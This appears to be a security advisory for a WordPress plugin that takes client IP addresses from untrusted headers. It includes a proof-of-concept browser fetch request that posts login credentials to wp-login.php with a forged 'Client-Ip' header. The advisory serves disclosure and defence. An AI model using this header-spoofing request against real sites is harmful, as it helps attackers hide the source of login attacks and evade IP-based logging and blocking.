Description This plugin retrieves client IP addresses from potentially untrusted headers, allowing an attacker to manipulate its value. This may be used to hide the source of malicious traffic.
Run the following code in the web browser and note on the backend that the IP address has been faked. await fetch(“/wp-login.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, “Client-Ip”: “8.8.8.8”, }, “body”: “log=USERNAME&pwd;=PASSWORD”, “method”: “POST”, “mode”: “cors”, “credentials”: “include” });
